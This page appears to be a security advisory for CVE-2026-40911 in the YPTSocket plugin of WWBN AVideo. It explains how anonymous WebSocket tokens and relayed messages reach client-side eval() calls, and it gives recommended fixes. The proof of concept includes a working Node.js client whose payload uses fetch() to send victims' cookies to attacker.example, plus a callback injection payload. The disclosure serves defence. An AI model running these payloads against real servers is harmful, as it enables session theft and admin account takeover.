CVE-2026-40911 is a critical-severity (CVSS 10) Code Injection vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40911.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-40911 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the msg or callback fields. On the client side, plugin/YPTSocket/script.js contains two eval() sinks fed directly by those relayed fields (json.msg.autoEvalCodeOnHTML at line 568 and json.callback at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.
Details
Token issuance is unauthenticated
plugin/YPTSocket/getWebSocket.json.php:11-21 returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:
if(!AVideoPlugin::isEnabledByName("YPTSocket")){
$obj->msg = "Socket plugin not enabled";
die(json_encode($obj));
}
$obj->error = false;
$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();
getEncryptedInfo() in plugin/YPTSocket/functions.php:3-16 populates from_users_id = User::getId() (0 for guests) and isAdmin = User::isAdmin() (false for guests). The issued token is accepted by the WebSocket server's onOpen handler (Message.php:44-52) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.
Server relays attacker JSON verbatim
plugin/YPTSocket/Message.php:191-245 — the default branch of onMessage only rewrites from_identification:
public function onMessage(ConnectionInterface $from, $msg) {
...
$json = _json_decode($msg);
if (empty($json->webSocketToken)) { return false; }
if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }
switch ($json->msg) {
...
default:
$this->msgToArray($json);
if (isset($json['from_identification'])) {
$json['from_identification'] = strip_tags((string)($msgObj->user_name ?? ''));
}
...
} else {
$this->msgToAll($from, $json); // broadcast
}
break;
}
}
msgToResourceId() at Message.php:297-310 copies the attacker-controlled callback and msg fields into the outbound payload:
if (isset($msg['callback'])) {
$obj['callback'] = $msg['callback']; // tainted
...
}
...
} else if (!empty($msg['msg'])) {
$obj['msg'] = $msg['msg']; // tainted — entire object forwarded verbatim
}
$obj is JSON-encoded at line 335 and sent to every connected client.
Client-side sink #1: autoEvalCodeOnHTML → eval
plugin/YPTSocket/script.js:163-169 (raw WebSocket transport) sets every inbound frame as yptSocketResponse and unconditionally calls parseSocketResponse():
connWS.onmessage = function (e) {
var json = JSON.parse(e.data);
...
yptSocketResponse = json;
parseSocketResponse();
...
};
parseSocketResponse() at script.js:545-569 reaches the sink:
async function parseSocketResponse() {
const json = yptSocketResponse;
...
if (json.msg?.autoEvalCodeOnHTML !== undefined) {
eval(json.msg.autoEvalCodeOnHTML); // <-- attacker-controlled
}
...
}
Client-side sink #2: json.callback → eval
plugin/YPTSocket/script.js:91-95 — processSocketJson() concatenates attacker-controlled json.callback into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (script.js:182) and the Socket.IO branch (script.js:339 via socket.on("message", (data) => { … processSocketJson(data) })):
if (json.callback) {
var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }";
socketLog('Executing callback:', json.callback);
eval(code);
...
}
Because json.callback is interpolated as raw source, a payload like alert(document.cookie);window.x breaks out of the typeof expression and executes during the condition evaluation.
PoC
Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).
Step 1 — obtain a token anonymously (no cookies, no auth):
curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'
Expected output (abbreviated):
{"error":false,"msg":"","webSocketToken":"<long encrypted token>","webSocketURL":"wss://target.example:8888/?webSocketToken=<token>&..."}
Step 2 — connect to the WebSocket endpoint using the returned webSocketURL. A minimal Node.js client:
const WebSocket = require('ws');
const TOKEN = '<token from step 1>';
const URL = '<webSocketURL from step 1>';
const ws = new WebSocket(URL, { rejectUnauthorized: false });
ws.on('open', () => {
// Payload 1 — primary sink (raw WebSocket transport):
ws.send(JSON.stringify({
webSocketToken: TOKEN,
msg: {
autoEvalCodeOnHTML:
"fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));" +
"alert('XSS as '+document.domain);"
}
}));
// Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients):
ws.send(JSON.stringify({
webSocketToken: TOKEN,
msg: "p",
callback: "alert(document.domain);window.x"
}));
});
Step 3 — observe impact. Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's script.js — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:
- Payload 1 reaches
parseSocketResponse()at line 568 and evaluateseval(json.msg.autoEvalCodeOnHTML), firing the exfiltration request toattacker.examplewithdocument.cookie. - Payload 2 reaches
processSocketJson()at line 95; the synthesizedcodestring isif (typeof alert(document.domain);window.x == 'function') { ... }, which executesalert(document.domain)during thetypeofevaluation.
Any administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.
Impact
A single unauthenticated request and one WebSocket frame grants the attacker universal client-side code execution across every user currently connected to the target AVideo instance. Concretely:
- Session theft of every connected user, including administrators (note:
HttpOnlydoes not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies). - Privileged action execution on behalf of any admin who happens to be online — including plugin installation (
GHSA-v8jw-8w5p-23g3shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes. - Stored cross-user JS persistence via
localStorage, IndexedDB, or re-submitting the payload as a comment/title through admin credentials. - Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin.
- The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.
Recommended Fix
Multiple defense-in-depth layers are required:
1. Remove the client-side eval sinks entirely. plugin/YPTSocket/script.js:
- if (json.msg?.autoEvalCodeOnHTML !== undefined) {
- eval(json.msg.autoEvalCodeOnHTML);
- }
No legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions.
Replace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:
- if (json.callback) {
- var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }";
- eval(code);
- ...
- } else {
- myfunc = defaultCallback;
- }
+ var ALLOWED_CALLBACKS = ['socketNewConnection', 'socketDisconnection', /* ... */];
+ if (typeof json.callback === 'string' && ALLOWED_CALLBACKS.indexOf(json.callback) !== -1
+ && typeof window[json.callback] === 'function') {
+ myfunc = window[json.callback];
+ const event = new CustomEvent(json.callback, { detail: _details });
+ document.dispatchEvent(event);
+ } else {
+ myfunc = defaultCallback;
+ }
2. Server-side: allowlist keys on relayed msg objects. In plugin/YPTSocket/Message.php::onMessage() default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding $msg['msg'] verbatim:
// At top of default branch, after msgToArray:
$ALLOWED_MSG_KEYS = ['type', 'text', 'videos_id', 'users_id', /* ... */];
if (isset($json['msg']) && is_array($json['msg'])) {
$json['msg'] = array_intersect_key($json['msg'], array_flip($ALLOWED_MSG_KEYS));
}
// Similarly sanitize callback:
if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
unset($json['callback']);
}
3. Restrict token issuance and sender privileges. plugin/YPTSocket/getWebSocket.json.php should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger msgToAll at all — the default branch of onMessage should require $msgObj->isAdmin (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for CVE-2026-40911 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40911 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-40911. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-40911 in your dependencies?
O3 Security finds CVE-2026-40911 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.